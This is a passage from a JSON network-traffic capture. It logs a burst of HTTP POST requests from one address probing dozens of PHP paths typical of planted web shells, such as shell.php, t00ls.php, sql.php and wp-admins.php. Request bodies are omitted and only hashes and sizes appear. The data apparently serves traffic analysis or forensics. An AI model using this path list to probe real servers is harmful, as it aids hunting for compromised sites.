            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255781.770669000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/t00ls.php",
            "http.response_in": "961",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/t00ls.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-213009ce401f29b7282e4330",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6",
          "frame_number": 960,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255783.117576000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/about_ver.php",
            "http.response_in": "964",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/about_ver.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-99ddae3a22723621fac39a7d",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "eba75f2e544604a5c8201de6992a4111cf7df474fafb3bfa98786e0c2c66e788",
          "frame_number": 963,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255783.396783000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/edmin.php",
            "http.response_in": "967",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/edmin.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-6a8474fb1bdf2ffddb7d29f2",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 966,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255785.727707000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sconfig.php",
            "http.response_in": "970",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sconfig.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-ee712f3c330069bd2bf85971",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "dc99dd551fa056c087c081fc33173a22bdf15d234dbef758de327663fe1b5dad",
          "frame_number": 969,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577255786.262514000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/indax.php",
            "http.response_in": "973",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/indax.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-1e78617a55cac02a6c491613",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "25f77a89d80029b8735f7a5dddbf7e69ab27fdf998cec485ef02e14d67720ae6",
          "frame_number": 972,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255786.551312000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/logo.php",
            "http.response_in": "976",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/logo.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-d9090ca63c96d2e32b20d6ea",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "6b269e52837eaa9fc3463f4c6b02e01a3f0740e7e1a877954a4901da1bea9c6c",
          "frame_number": 975,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255786.831303000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/o.php",
            "http.response_in": "979",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/o.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-042cd7fa4edb30c2fdb270c3",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "87ad34c0f1e82b83cf621fb7f523b310593a2c2b3e6868d9208a580b14d9605c",
          "frame_number": 978,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255787.629408000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/shell.php",
            "http.response_in": "982",
            "http.content_length": "23",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/shell.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-64e58ff170e247b97cbc3714",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "7f30439fcfcae9644fbfc0dd83715215305d36ba87ae4a7e8e08651495980ef2",
          "frame_number": 981,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 23,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 23,
          "timestamp_epoch": "1577255787.908929000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tools.php",
            "http.response_in": "985",
            "http.content_length": "25",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tools.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-f2c84a7867cbe1458d256d3a",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "7af6b112a2e2896b498e7016a42e62a3b37846f39a8539e6c676c3e68e3d5835",
          "frame_number": 984,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 25,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 25,
          "timestamp_epoch": "1577255788.861062000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/asjc.php",
            "http.response_in": "988",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/asjc.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-05f89d0eaa0f1ef222c95df4",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 987,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255789.695421000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/test.php",
            "http.response_in": "991",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/test.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-494871e61feca7754f056f7d",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 990,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255789.986358000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/fuck.php",
            "http.response_in": "994",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/fuck.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-b9bb78f6007752c1dfc8063b",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 993,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255790.265684000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/freebook.php",
            "http.response_in": "997",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/freebook.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-de581638a9e622272dee27f3",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 996,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255791.267101000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/goodbook.php",
            "http.response_in": "1000",
            "http.content_length": "18",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/goodbook.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-c9399e6a11b77db79b2041e5",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669",
          "frame_number": 999,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 18,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 18,
          "timestamp_epoch": "1577255795.064114000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/tools.php",
            "http.response_in": "1003",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/tools.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-79e2816da2efd3deecf60d0c",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1002,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255795.343770000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/indexl.php",
            "http.response_in": "1006",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/indexl.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-16d93e3f4472b2ed307e6833",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1005,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255795.869717000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/gotemp.php",
            "http.response_in": "1009",
            "http.content_length": "24",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/gotemp.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-deb82502ea5b203b198504fd",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "493b4ab19faeb49509e1a9b730e3f970e311445cf1e18bbd8712ff971b2d3a78",
          "frame_number": 1008,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 24,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 24,
          "timestamp_epoch": "1577255796.767039000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/sql.php",
            "http.response_in": "1013",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/sql.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5acbf00076bb7d057e79cf33",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "c48e6733b3802d1bbf20444cd7379191ce0fa375f7fd5496b74af4c9433c21ac",
          "frame_number": 1011,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255797.549583000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/conf.php",
            "http.response_in": "1016",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/conf.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cd2ae9e531c43a63c5321456",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4",
          "frame_number": 1015,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255797.828811000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/pagefile.php",
            "http.response_in": "1019",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/pagefile.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5e082ee76c098f9b1a6c2758",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "b77a97b79ec939cac69275075255f14cf0136d18a5356a175612f5367b9d3455",
          "frame_number": 1018,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255798.109281000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/settings.php",
            "http.response_in": "1022",
            "http.content_length": "26",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/settings.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8b0b43b8528e1d9018fb2513",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "ed6d902f4f14b9ae2e25ae1882603ba1359ec2065acefc2ec322284dad1cbc48",
          "frame_number": 1021,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 26,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 26,
          "timestamp_epoch": "1577255798.954637000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/system.php",
            "http.response_in": "1025",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/system.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-a6de7218287cada76b08b857",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827",
          "frame_number": 1024,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255802.709185000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/test123.php",
            "http.response_in": "1028",
            "http.content_length": "21",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/test123.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-47973ded5ac6877e08d3bf88",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "a51f236fe8f0dde786a894678e91927d9f070882454c731a7344c0080695e262",
          "frame_number": 1027,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 21,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 21,
          "timestamp_epoch": "1577255802.994536000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/think.php",
            "http.response_in": "1031",
            "http.content_length": "19",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/think.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-cb1b7ea6954cc7b16db4ee84",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a",
          "frame_number": 1030,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 19,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 19,
          "timestamp_epoch": "1577255803.369421000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db.init.php",
            "http.response_in": "1034",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-8b75b332fd5e3b708cb3e099",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
          "frame_number": 1033,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255803.756596000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db_session.init.php",
            "http.response_in": "1037",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db_session.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-e862fd70a7f55092cd9b365c",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
          "frame_number": 1036,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255804.132068000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/db__.init.php",
            "http.response_in": "1040",
            "http.content_length": "22",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/db__.init.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-5c64bf6a66b2ccd0bdf2a7b6",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "394255f257a9e01ce5838b8023f8469090434a6dff6f2484ccedc68baecb58ca",
          "frame_number": 1039,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 22,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 22,
          "timestamp_epoch": "1577255804.477044000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
          "fields": {
            "http.host": "128.199.64.235",
            "http.user_agent": "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36",
            "http.request.uri": "/wp-admins.php",
            "http.response_in": "1043",
            "http.content_length": "36",
            "http.request.method": "POST",
            "http.request.full_uri": "http://128.199.64.235/wp-admins.php"
          },
          "src_ip": "139.199.184.166",
          "dst_port": 80,
          "event_id": "evt-9cf9c60302f8288d187d9d5e",
          "src_port": 61333,
          "tcp_stream": 30,
          "udp_stream": null,
          "body_sha256": "39065d99363d6ee5b1acc6dfef3296e45609bcf500fd353c5d7109de05814fdf",
          "frame_number": 1042,
          "body_features": {
            "scope": "Allowlisted structural features; secret values and arbitrary payload text omitted",
            "truncated": false,
            "identities": [],
            "inspected_bytes": 36,
            "credential_record_present": false,
            "private_key_marker_present": false,
            "system_inventory_marker_present": false
          },
          "body_size_bytes": 36,
          "timestamp_epoch": "1577255804.928239000"
        },
        {
          "kind": "http_request",
          "dst_ip": "10.12.25.101",
